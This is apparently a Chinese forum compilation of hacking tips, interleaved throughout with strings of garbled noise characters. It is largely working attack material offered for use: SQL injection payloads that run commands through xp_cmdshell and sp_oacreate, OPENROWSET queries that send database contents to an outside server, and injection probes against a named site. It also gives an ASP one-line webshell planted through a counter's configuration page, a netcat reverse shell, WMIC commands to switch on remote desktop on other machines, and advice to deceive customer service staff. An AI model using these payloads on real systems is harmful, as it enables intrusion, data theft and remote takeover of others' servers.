SA点数据库分离技术相关( A+ S2 b4 o b; S- ~
& T, D$ n0 e7 L- C
: x: Z% I0 M1 L5 SSA点数据库分离搞法+语句:( j6 i: d, j9 u6 a p- \9 p6 w2 J
8 S* E2 I% l( F d注射点不显错,执行下面三条语句页面都返回正常。
: ]+ s# h/ H3 @% I7 d& ` g- o$ r# @and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')
+ V; m: t) Y- ?" Oand 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')1 c( w' t7 s" Q) Z' f/ E ~ ]
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
3 f" o* a m8 T. H, h9 o: q$ A可以列目录,判断系统为2000,web与数据库分离
% G1 Y8 T0 ]: F$ f遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。6 l6 H+ p: D8 J% } {7 l) J
在注射点上执行' V& _& ~; w2 }& ]+ V2 H! Z
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--
4 [# X" f* f5 k3 {页面返回正常,通过上面这个命令执行telnet我一个外网肉鸡得1433端口,然后netstat/an没有得到IP: f3 i* a l6 X1 D. A" v4 m
还有我用NC监听得其他端口都没有得到IP。
9 @' ?7 c4 S7 A7 Y! I! l) s' ~8 G$ g- Z9 B. K; C( F5 g8 |5 O! Z# S
通过注射点执行下面这两个命令页面都返回异常,在肉鸡上面同样也是没有得到IP。' |. ?& d* K. Z6 ?0 D
'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--5 E9 i- ?8 k' X! i+ w
! v* V' F( Z$ Q# t
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--3 g, f. A: G. c `- x( K9 K( B
. O6 O( C! C3 V7 Y$ a9 P! i现在就猜想是不是数据库是内网而且不能连外网。4 @ P* Q2 N# m
m/ U6 n7 l1 D1 i; M4 w1 z) o1 L* u
) I, q3 [+ }7 [! m$ ^' Gaccess导出txt文本代码
% y$ N: E) X7 E' Q- _, m1 ~SELECT * into [test.txt] in 'd:\web\' 'text;' from admin
6 P5 i; E+ v4 L5 S& ^9 E7 o5 j1 G8 h
1 ~8 d- ]( l- R, O* `) ^3 {
- X Y, \' x2 C4 d. x自动跳转到指定网站代码头
; C* J w K1 j& E& t1 U<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>9 r, N! ?7 [* C
# |1 I, e3 D- f7 D
1 T; n3 v! J, ~# V: ^0 n4 L' Y9 x% L入侵java or jsp站点时默认配置文件路径:) S7 m& \0 m$ j& M
\web-inf\web.xml; `( @8 \5 V. \, H: T- @
tomcat下的配置文件位置:
, u# S% Q; I; }; R b6 G B/ J\conf\server.xml (前面加上tomcat路径)5 D& L% J2 {! X/ d7 g
\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
; k- e( {: X! H: d( b1 x2 u) ?, j6 n, C; C) ?$ C8 m( M1 e; d, b1 z
* m8 Y3 z7 _. M0 R" Z! u
^8 e: m! ~. _5 K0 G9 Q: K& i3 S检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:6 g' a$ O$ \1 v5 q& s6 }
-1%23
& |, L! a, ?7 G; Z4 }% {3 e>
& T4 b1 |3 I) ~# G/ N$ j<. ~1 b& L( A* g. l. C. M q( i$ U. e
1'+or+'1'='16 Y) M5 W6 ~6 o$ x
id=8%bf! X- N6 W; P3 B4 [7 r
8 ^9 Y) H" z0 n/ \全新注入点检测试法:
3 f/ u# S( g5 _/ S* F在URL地址后面加上-1,URL变成:http://gzkb.goomoo.cn/news.asp?id=123-1,如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞,是数字型的。
, J4 V! E' q0 h% U* ~: k0 ?' F5 P7 B! K$ x0 o5 q# u$ S$ ]* s
在URL的地址后面加上'%2B',URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2B',返回的页面和1同;加上'2%2B'asdf,URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf,返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。4 q5 w. U3 o% x! z& X; e
2 k4 ?1 p0 D( `0 n
搜索型注入判断方法:
" C- b/ T9 a B) M% Q }* [7 ~2 `北京%' and '1'='1' and '%'='9 h8 U D& [3 z
北京%' and '1'='2' and '%'='% @! S, Y8 i6 N- Y; g* v
1 e$ [& R3 S: o
' D, y6 g+ N& \/ D: ]; [COOKIES注入:
2 I! n! ~9 q& \1 M. U7 C/ a3 E' e6 `
4 V& G1 t0 @1 K1 A" n! t2 ]! Tjavascript:alert(document.cookie="id="+escape("51 and 1=1"));! r6 Z6 t' v6 T! L% P i
3 b& E; ?5 Z; Z0 }, m" `0 v+ K9 V& `2000专业版查看本地登录用户命令:
0 e; g* ?# l/ [5 @net config workstation3 [3 K( [# m: V
- k6 [8 o' n! o% u' p) q4 Z! t* o0 z/ W* r) ~+ C! O3 y
2003下查看ipsec配置和默认防火墙配置命令:
5 g# m9 e$ G3 B1 j, e# Unetsh firewall show config* p- @6 h( D3 K: ?! y( u, j( M
netsh ipsec static show all5 E0 M! m# P' C/ `+ F) e1 @
- Y- Y5 ]& N9 z4 _8 Z' ~1 K
不指派指定策略命令:
2 H0 g4 u( h% @( d1 U: Anetsh ipsec static set policy name=test assign=n (test是不指派的策略名)6 G1 a# a' V5 z4 ^# R, {
netsh ipsec static show policy all 显示策略名
# _: w7 B0 d* e, R) t2 }& B- }$ d$ m
8 B! B* V) g5 }- W5 d
猜管理员后台小技巧:
. P9 H A' N8 `7 D9 f) X" a6 iadmin/left.asp
- u- V! Y/ ]& b+ U$ @: b" O- G( ^. e# Fadmin/main.asp
T+ S- P/ H1 G2 p! d* [2 L2 vadmin/top.asp
' E1 i7 C1 `! ]9 W7 E+ S9 padmin/admin.asp
- @ G+ R" S9 a7 c9 \9 {会现出菜单导航,然后迅雷下载全部链接
: E( S8 ?6 O9 F, a: K1 r7 ~* l+ g0 m$ e* J+ V* V8 s
8 Q7 n+ B+ [; c N8 K; p$ `! R
社会工程学:
y; `! q0 r# B# d用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人( Y! [) ^" K4 g
然后去骗客服
/ V$ e! F( l' I/ v1 N$ A; {1 F3 @4 L4 [ m `0 G# V/ u5 t
* w3 ]7 X. P" x' A
统计系统使用的是IT学习者的统计系统,在网上下载了一套回来研究。这样的系统拿webshell一般就二种:1.数据库插一句话木马,客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录,发现数据库扩展名是asp的,默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb,用明小子的数据库工具打开,发现有防下载的表。管理员的默认密码是:ITlearner。数据库插一句话木马这条路是走不通了,现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码: : t" V% b2 i2 p: W! |
查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">, . b! A& q$ d f1 Z. j! ?
存为html文件打开后在最后详细来访信息记录多少条记录,默认为100条框输入100:eval request(chr(35)),点击保存。提示无法找到,结果发现。
- ~ J9 E, {) M9 p* q% @( _$ t7 ]6 [( v7 ?: R% L
" l* u' t' Q# R/ Q Z
$ W$ w1 f7 N( y1 Z0 J ~9 q" m$ X
6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)$ [5 R! ?( o$ _( M2 F/ ]
) Q7 U9 Y) o | R/ `
& H+ ~, p5 M/ K u; p. x' Y6 d1 l8 j" k; \4 Z
CMD加密注册表位置
y# H: V( F# |5 m; l$ W(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor
/ ^* ]# W+ Y) k d0 m5 ]% xAutoRun
, p, K1 e V' G8 u4 I! y1 `. p
v7 A+ c. u7 A" h' X(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor
7 } o; h" J! X& YAutoRun
$ V" X2 N: _' M7 o: t: {. k4 X7 Z' m' b+ ?0 u
- L: \, o# s% [7 ]
在找注入时搜索Hidden,把他改成test( N5 y+ N1 W, g2 L1 }# q3 v
3 @$ y; @" N2 R( _* C$ }. y' k1 R% Q6 u7 _* D) x
! D$ S9 K" A2 H! X: xmstsc /v:IP /console
: `% j* D! w1 x0 T9 F4 g) i% q8 {( d
: ~& M6 I. a( L X* C2 F一句话开3389:0 O, v2 F2 ~+ K: k$ ?; B
6 z; }6 m& e5 m5 B7 I最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>
* f9 k4 H, j; K& B% \+ S开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1 就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.8 t/ s4 {8 O$ M$ Z5 e( G" U
0 }" f1 t2 o( Z+ a
+ C6 I0 v& T o+ u知道表名,字段,使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:
, Q9 r0 @5 v9 u F. h" GInsert into admin(user,pwd) values('test','test')
& F0 H; [( Q" O# B1 @% j; ^6 S+ S; b5 e1 Z
3 n( }( i i9 b, ~3 A* D
NC反弹/ n. X5 E; h' |0 A; w6 r
先在本机执行: nc -vv -lp 监听的端口 (自己执行)
x" l- C3 }; c* u& { o2 d5 F+ y然后在服务器上执行: nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)8 w* q8 H0 M* ]
; d9 b3 l# o, [7 T
# j# B# V1 l6 I/ J4 e% D在脚本入侵过程中要经常常试用%00来确认下参数是否有问题
1 {2 v/ _2 G1 J; f: H% U5 G. U) I% U. p. t# g! h+ h# O
有时候我们入侵的时候,在webshell没有办法列举网站的目录包括dir也不行的时候,这个时候可以尝试用DOS命令SUBST转移目录4 H) j# _2 Q. l! c" I1 ]/ F2 S
例如:5 V& [* ?2 U5 d5 V
subst k: d:\www\ 用d盘www目录替代k盘
+ m: {6 B5 l/ i$ |subst k: /d 解除K盘代替 |